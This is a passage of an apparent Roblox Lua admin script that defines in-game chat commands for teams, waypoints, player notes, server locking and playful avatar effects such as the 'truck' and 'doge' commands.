  7816. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  7817. for _,Face in pairs(FaceTable) do
  7818. if string.lower(Arguments[2]) == string.lower(Face) then
  7819. ID = FaceID
  7820. break
  7821. end
  7822. end
  7823. end
  7824. end
  7825. if ID then
  7826. for _,Player in pairs(Players) do
  7827. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7828. Player.Character.Head.face.Texture = "rbxassetid://"..ID
  7829. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
  7830. end
  7831. end
  7832. end
  7833. end};
  7834.  
  7835. [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7836. local Players = STRING:Scan(Arguments[1], Speaker)
  7837. local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7838. for _,Player in pairs(Players) do
  7839. if Player.Character and Player.Character:FindFirstChild("Head") then
  7840. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7841. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  7842. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  7843. end
  7844. end
  7845. end};
  7846.  
  7847. [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7848. local Players = STRING:Scan(Arguments[1], Speaker)
  7849. for _,Player in pairs(Players) do
  7850. if Player.Character and Player.Character:FindFirstChild("Head") then
  7851. local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
  7852. end
  7853. end
  7854. end};
  7855.  
  7856. [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
  7857. REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
  7858. end, Http = true};
  7859.  
  7860. [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7861. GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
  7862. end, Http = true};
  7863.  
  7864. [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7865. local Players = STRING:Scan(Arguments[1], Speaker)
  7866. for _,Player in pairs(Players) do
  7867. local ExistingData = Player:LoadInstance("Data")
  7868. if ExistingData == nil then
  7869. ExistingData = Instance.new("Configuration")
  7870. end
  7871. ExistingData.Name = "Player Data"
  7872. local Key = Instance.new("Configuration", ExistingData)
  7873. Key.Name = Arguments[2]
  7874. Player:SaveInstance("Data", ExistingData)
  7875. end
  7876. end};
  7877.  
  7878. [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  7879. local Players = STRING:Scan(Arguments[1], Speaker)
  7880. local Data = Arguments[2]
  7881. for _,Player in pairs(Players) do
  7882. local ExistingData = Player:LoadInstance("Data")
  7883. if ExistingData ~= nil then
  7884. if string.lower(Data) == "all" then
  7885. ExistingData:ClearAllChildren()
  7886. else
  7887. for _,DataObj in pairs(ExistingData:GetChildren()) do
  7888. if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
  7889. DataObj:Destroy()
  7890. end
  7891. end
  7892. end
  7893. end
  7894. Player:SaveInstance("Data", ExistingData)
  7895. end
  7896. end};
  7897.  
  7898. [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7899. local Players = STRING:Scan(Arguments[1], Speaker)
  7900. local DataSet = {}
  7901. for _,Player in pairs(Players) do
  7902. local ExistingData = Player:LoadInstance("Data")
  7903. if ExistingData ~= nil then
  7904. if #ExistingData:GetChildren() ~= 0 then
  7905. for _,Data in pairs(ExistingData:GetChildren()) do
  7906. table.insert(DataSet, Player.Name..": "..Data.Name)
  7907. end
  7908. else
  7909. table.insert(DataSet, "Data does not exist for "..Player.Name)
  7910. end
  7911. else
  7912. table.insert(DataSet, "Data does not exist for "..Player.Name)
  7913. end
  7914. end
  7915. GUI:ListGui(Speaker, "Notes", DataSet)
  7916. end};
  7917.  
  7918. [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
  7919. local Players = STRING:Scan(Arguments[1], Speaker)
  7920. for _,Player in pairs(Players) do
  7921. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7922. Player.Character.Humanoid.WalkSpeed = 16
  7923. end
  7924. end
  7925. end};
  7926.  
  7927. [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
  7928. local Players = STRING:Scan(Arguments[1], Speaker)
  7929. for _,Player in pairs(Players) do
  7930. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7931. Player.Character.Humanoid.WalkSpeed = -16
  7932. end
  7933. end
  7934. end};
  7935.  
  7936. [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
  7937. local TeamColor = BrickColor.random()
  7938. local TeamName = Arguments[1]
  7939. local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
  7940. if #TeamNameSplit >= 2 then
  7941. local Color = TeamNameSplit[1]
  7942. local NewTeamName = TeamNameSplit[2]
  7943. if Color == "Medium stone grey" then
  7944. TeamColor = BrickColor.new(Color)
  7945. TeamName = NewTeamName
  7946. elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
  7947. TeamColor = BrickColor.new(Color)
  7948. TeamName = NewTeamName
  7949. elseif Colors[string.upper(Color)] then
  7950. TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
  7951. TeamName = NewTeamName
  7952. end
  7953. end
  7954.  
  7955. local NewTeam = Instance.new("Team", Server.Teams)
  7956. NewTeam.TeamColor = TeamColor
  7957. NewTeam.Name = TeamName
  7958. end};
  7959.  
  7960. [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
  7961. local Players = STRING:Scan(Arguments[1], Speaker)
  7962. for _,Player in pairs(Players) do
  7963. Player.Neutral = true
  7964. end
  7965. end};
  7966.  
  7967. [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7968. local Players = STRING:Scan(Arguments[1], Speaker)
  7969. if string.lower(Arguments[2]) == "none" then
  7970. for _,Player in pairs(Players) do
  7971. Player.Neutral = true
  7972. end
  7973. else
  7974. for _,Obj in pairs(Server.Teams:GetChildren()) do
  7975. if Obj:IsA("Team") then
  7976. if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7977. for _,Player in pairs(Players) do
  7978. Player.Neutral = false
  7979. Player.TeamColor = Obj.TeamColor
  7980. end
  7981. end
  7982. end
  7983. end
  7984. end
  7985. end};
  7986.  
  7987. [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
  7988. for _,Obj in pairs(Server.Teams:GetChildren()) do
  7989. if Obj:IsA("Team") then
  7990. if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
  7991. for _,Player in pairs(Server.Players:GetPlayers()) do
  7992. if Player.TeamColor == Obj.TeamColor then
  7993. Player.Neutral = true
  7994. end
  7995. end
  7996. Obj:Destroy()
  7997. end
  7998. end
  7999. end
  8000. end};
  8001.  
  8002. [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
  8003. for _,Player in pairs(Server.Players:GetPlayers()) do
  8004. Player.Neutral = true
  8005. end
  8006. for _,Obj in pairs(Server.Teams:GetChildren()) do
  8007. if Obj:IsA("Team") then
  8008. Obj:Destroy()
  8009. end
  8010. end
  8011. end};
  8012.  
  8013. [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
  8014. for _,Player in pairs(Server.Players:GetPlayers()) do
  8015. GUI:Countdown(Player, Arguments[1])
  8016. end
  8017. end};
  8018.  
  8019. [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8020. local Players = STRING:Scan(Arguments[1], Speaker)
  8021. for _,Player in pairs(Players) do
  8022. if Player:FindFirstChild("Backpack") then
  8023. CORE:ExecuteResource("ShowAd", Player.Backpack)
  8024. end
  8025. end
  8026. end};
  8027.  
  8028. [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
  8029. local Players = STRING:Scan(Arguments[1], Speaker)
  8030. for _,Player in pairs(Players) do
  8031. if Player.Character then
  8032. for PosName,WP in pairs(Waypoints) do
  8033. if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
  8034. Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
  8035. break
  8036. end
  8037. end
  8038. end
  8039. end
  8040. end};
  8041.  
  8042. [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
  8043. CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
  8044. end};
  8045.  
  8046. [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  8047. local Num = 0
  8048. for PosName,WP in pairs(Waypoints) do
  8049. Num = Num + 1
  8050. if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
  8051. Waypoints[PosName] = nil
  8052. end
  8053. end
  8054. end};
  8055.  
  8056. [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
  8057. local WaypointHolder,WaypointRaw = {},{}
  8058. for Name, WP in pairs(Waypoints) do
  8059. local View = Name..": "..tostring(WP)
  8060. table.insert(WaypointHolder, View)
  8061. WaypointRaw[View] = WP
  8062. end
  8063. local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
  8064. Clicked.Event:connect(function(Text)
  8065. local Waypoint = WaypointRaw[Text]
  8066. if Waypoint then
  8067. if Speaker.Character then
  8068. Speaker.Character:MoveTo(Waypoint)
  8069. end
  8070. end
  8071. end)
  8072. end};
  8073.  
  8074. [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
  8075. local Players = STRING:Scan(Arguments[1], Speaker)
  8076. local List = {}
  8077. for _,Player in pairs(Players) do
  8078. table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
  8079. end
  8080. GUI:ListGui(Speaker, "Listed Players", List)
  8081. end};
  8082.  
  8083. [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8084. if tonumber(Arguments[1]) then
  8085. ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
  8086. else
  8087. local Players = STRING:Scan(Arguments[1], Speaker)
  8088. for _,Player in pairs(Players) do
  8089. ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
  8090. end
  8091. end
  8092. end};
  8093.  
  8094. [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
  8095. local Players = STRING:Scan(Arguments[1], Speaker)
  8096. local Friends,OneFriend = {}, false
  8097. for _,Player in pairs(Players) do
  8098. for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
  8099. --[[if Player:IsBestFriendsWith(User.UserId) then
  8100. table.insert(Friends, Player.Name.." is best friends with "..User.Name)
  8101. OneFriend = true
  8102. ]]
  8103. if Player:IsFriendsWith(User.UserId) then
  8104. table.insert(Friends, Player.Name.." is friends with "..User.Name)
  8105. OneFriend = true
  8106. end
  8107. if _ == #Server.Players:GetPlayers() and OneFriend == false then
  8108. table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
  8109. end
  8110. end end
  8111. end
  8112. GUI:ListGui(Speaker, "Friend List", Friends)
  8113. end};
  8114.  
  8115. [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8116. Settings.ServerLocked = true
  8117. GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
  8118. end};
  8119.  
  8120. [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8121. Settings.ServerLocked = false
  8122. GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
  8123. end};
  8124.  
  8125. [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8126. local OldAge = Settings.MinimumAge
  8127. local Age = tostring(Arguments[1])
  8128. if Age then
  8129. Settings.MinimumAge = Age
  8130. GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
  8131. end
  8132. end};
  8133.  
  8134. [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8135. if Settings.VIPAdminID <= 1 then
  8136. MARKET:PromptPurchase(Speaker, VIPAdminID)
  8137. else
  8138. CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
  8139. end
  8140. end};
  8141.  
  8142. [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8143. if Settings.VIPMemberID <= 1 then
  8144. MARKET:PromptPurchase(Speaker, VIPMemberID)
  8145. else
  8146. CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
  8147. end
  8148. end};
  8149.  
  8150. [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
  8151. if tonumber(Arguments[2]) then
  8152. local Players = STRING:Scan(Arguments[1], Speaker)
  8153. local Size = tonumber(Arguments[2])+25
  8154. for _,Player in pairs(Players) do
  8155. if Player.Character then
  8156. if Player.Character:FindFirstChild("Head") then
  8157. if Player.Character.Head:FindFirstChild("Mesh") then
  8158. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  8159. end
  8160. end
  8161. end
  8162. end
  8163. end
  8164. end};
  8165.  
  8166. [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8167. local Players = STRING:Scan(Arguments[1], Speaker)
  8168. for _,Player in pairs(Players) do
  8169. if Player.Character and Player.Character:FindFirstChild("Torso") then
  8170. CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
  8171. Player.Character.Parent = nil
  8172. CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  8173. end
  8174. end
  8175. end};
  8176.  
  8177. [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  8178. GUI:SettingsGui(Speaker)
  8179. end};
  8180.  
  8181. [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  8182. if tonumber(Arguments[2]) then
  8183. local Players = STRING:Scan(Arguments[1], Speaker)
  8184. local List = {}
  8185. for _,Player in pairs(Players) do
  8186. if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
  8187. table.insert(List, Player.Name)
  8188. end
  8189. end
  8190. GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
  8191. end
  8192. end};
  8193.  
  8194. [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
  8195. local Players = STRING:Scan(Arguments[1], Speaker)
  8196. for _,Player in pairs(Players) do
  8197. if Player.Character and Player.Character:FindFirstChild("Head") then
  8198. local Char = Player.Character
  8199. Char:BreakJoints()
  8200. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8201. Obj.Anchored = true
  8202. for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
  8203. local Decal = Instance.new("Decal", Obj)
  8204. Decal.Texture = "rbxassetid://178913323"
  8205. Decal.Face = Face
  8206. end
  8207. end)
  8208. local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
  8209. local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
  8210. Sound1:Play() Sound2:Play()
  8211. coroutine.wrap(function()
  8212. coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
  8213. repeat wait()
  8214. CORE:ScanItems(Char, {"BasePart"}, function(Obj)
  8215. SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
  8216. Obj.Transparency = math.random(0,30)/100
  8217. Obj.Reflectance = math.random(0,50)/100
  8218. Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
  8219. end)
  8220. until Char ~= Player.Character or Char.Parent == nil
  8221. end)()
  8222. end
  8223. end
  8224. end, Hidden = true};
  8225.  
  8226. [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
  8227. GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
  8228. end, Http = true};
  8229.  
  8230. [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
  8231. local Players = STRING:Scan(Arguments[1], Speaker)
  8232. for _,Player in pairs(Players) do
  8233. if Player.Character then
  8234. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8235. Obj.Material = "Neon"
  8236. end)
  8237. end
  8238. end
  8239. end};
  8240.  
  8241. [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8242. local Players = STRING:Scan(Arguments[1], Speaker)
  8243. for _,Player in pairs(Players) do
  8244. if Player.Character then
  8245. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  8246. Obj.Material = "Plastic"
  8247. end)
  8248. end
  8249. end
  8250. end};
  8251.  
  8252. [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
  8253. local Players = STRING:Scan(Arguments[1], Speaker)
  8254. for _,Player in pairs(Players) do
  8255. if Player.Character then
  8256. CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
  8257. Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
  8258. end)
  8259. end
  8260. end
  8261. end, Hidden = true};
  8262.  
  8263. [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8264. local Players = STRING:Scan(Arguments[1], Speaker)
  8265. for _,Player in pairs(Players) do
  8266. if Player.Character and Player.Character:FindFirstChild("Torso") then
  8267. local Pos = Player.Character.Torso.Position
  8268. Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
  8269. local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
  8270. if Answer == "Ok" then
  8271. CORE:AddWaypoint(Player.Name, Pos, Speaker)
  8272. end
  8273. end
  8274. end
  8275. end};
  8276.  
  8277. [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
  8278. local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
  8279. local PlayersTo = STRING:Scan(Arguments[2], Speaker)
  8280. if PlayersFrom and PlayersTo then
  8281. for _,PlayerFrom in pairs(PlayersFrom) do
  8282. for _,PlayerTo in pairs(PlayersTo) do
  8283. if PlayerFrom.Character and PlayerTo.Character then
  8284. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  8285. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
  8286. wait(5)
  8287. Laser:Destroy()
  8288. end)() end
  8289. end
  8290. end
  8291. end
  8292. end
  8293. end};
  8294.  
  8295. [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8296. local Players = STRING:Scan(Arguments[1], Speaker)
  8297. for _,Player in pairs(Players) do
  8298. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  8299. Player.Character.Humanoid:Destroy()
  8300. end
  8301. end
  8302. end};
  8303.  
  8304. [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8305. if Plugins then
  8306. local List = {}
  8307. for _,Module in pairs(Plugins:GetChildren()) do
  8308. if Module:IsA("ModuleScript") then
  8309. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8310. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8311. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8312. table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
  8313. end
  8314. end
  8315. GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
  8316. else
  8317. GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
  8318. end
  8319. end};
  8320.  
  8321. [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8322. local Players = STRING:Scan(Arguments[1], Speaker)
  8323. for _,Player in pairs(Players) do
  8324. GUI:DetachChat(Player)
  8325. end
  8326. end};
  8327.  
  8328. [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
  8329. GUI:DetachChat(Speaker)
  8330. end};
  8331.  
  8332. [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
  8333. local Players = STRING:Scan(Arguments[1], Speaker)
  8334. for _,Player in pairs(Players) do
  8335. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  8336. local Dead = false
  8337.  
  8338. Player.Character.Humanoid.WalkSpeed = 1
  8339. local Torso = Player.Character.Torso
  8340. local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
  8341. Truck:BreakJoints()
  8342. local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
  8343. local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
  8344. local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
  8345. Truck.Touched:connect(function(Part)
  8346. if Dead == false then
  8347. local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
  8348. if TouchPlayer == Player then
  8349. Dead = true
  8350. Player.Character:BreakJoints()
  8351. SOUND:MakeSound(Truck, 264486467):Play() -- splat
  8352. end
  8353. end
  8354. end)
  8355. SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
  8356. Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
  8357. Delay(5, function()
  8358. Truck:Destroy()
  8359. if Player.Character:FindFirstChild("Humanoid") then
  8360. Player.Character.Humanoid.WalkSpeed = 16
  8361. end
  8362. end)
  8363. end
  8364. end
  8365. end};
  8366.  
  8367. [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
  8368. local Joke = REMOTE:DownloadJoke(Speaker)
  8369. local Players = STRING:Scan(Arguments[1], Speaker)
  8370. for _,Player in pairs(Players) do
  8371. GUI:SendMessage(Player, "Joke", Joke, 19629580)
  8372. end
  8373. end, Http = true};
  8374.  
  8375. [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
  8376. local Joke = REMOTE:DownloadJoke(Speaker)
  8377. GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
  8378. end, Http = true};
  8379.  
  8380. [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
  8381. local Players = STRING:Scan(Arguments[1], Speaker)
  8382. for _,Player in pairs(Players) do
  8383. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
  8384. CORE:InvisiblePlayer(Player)
  8385. local DogContainer = Instance.new("Model", Player.Character)
  8386. DogContainer.Name = "Doge"
  8387. local Dog = CORE:Insert(257489726, DogContainer, true)
  8388. Dog.Head.Transparency = 0.99
  8389. Dog.Name = Player.Name
  8390. Dog:MoveTo(Player.Character.Torso.Position)
  8391. local Weld = Instance.new("Weld", Dog.Torso)
  8392. Weld.Part0 = Player.Character.Torso
  8393. Weld.Part1 = Dog.Torso
  8394. Weld.C0 = CFrame.new(0,-0.4,0)
  8395. for _,Obj in pairs(Dog:GetChildren()) do
  8396. if Obj:IsA("BasePart") then
  8397. Obj.CanCollide = false
  8398. end
  8399. end
  8400.  
  8401. CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
  8402. end
  8403. end
  8404. end};
  8405.  
  8406. [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
  8407. local Key = string.lower(string.sub(Arguments[1],1,1))
  8408. KeyBinds[Speaker.UserId][Key] = Arguments[2]
  8409. GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
  8410. end};
  8411.  
  8412. [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8413. local Key = string.lower(string.sub(Arguments[1],1,1))
  8414. KeyBinds[Speaker.UserId][Key] = nil
  8415. GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
  8416. end};
  8417.  
